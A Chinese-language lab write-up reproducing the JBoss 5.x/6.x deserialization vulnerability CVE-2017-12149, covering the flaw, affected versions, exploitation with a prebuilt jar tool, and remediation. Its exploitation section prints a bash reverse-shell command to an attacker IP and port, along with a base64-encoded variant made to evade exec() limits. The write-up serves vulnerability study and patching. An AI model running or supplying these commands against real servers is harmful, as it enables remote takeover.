JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149) 复现
所有文章,仅供安全研究与学习之用,后果自负!
前言
使用bash来反弹shell,但由于Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,我们需要用进行一次编码。
一、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
0x01 漏洞描述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用 该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。
8080端口
0x02 影响范围
JBoss 5.x/6.x
0x03 漏洞利用
版本号
/admin-console/login.seam?conversationId=4
工具直接利用
jboss反序列化_CVE-2017-12149.jar
(1) 启用工具
(2)检测
(3) 执行命令
成功
(4) 反弹shell
如前言那里所写 bash方法需要编码
bash -i >& /dev/tcp/192.168.157.137/9897 0>&1
编码为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1Ny4xMzcvOTg5NyAwPiYx}|{base64,-d}|{bash,-i}
监听反弹shell
反弹shell成功
0x04 漏洞修复
建议用户升级到JBOSS AS7。另,不能及时升级的用户,可采取如下临时解决方案:
1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。
2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:<url-pattern>/*</url-pattern>
用于对 http invoker 组件进行访问控制。
总结
使用bash来反弹shell,但由于Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,我们需要用进行一次编码。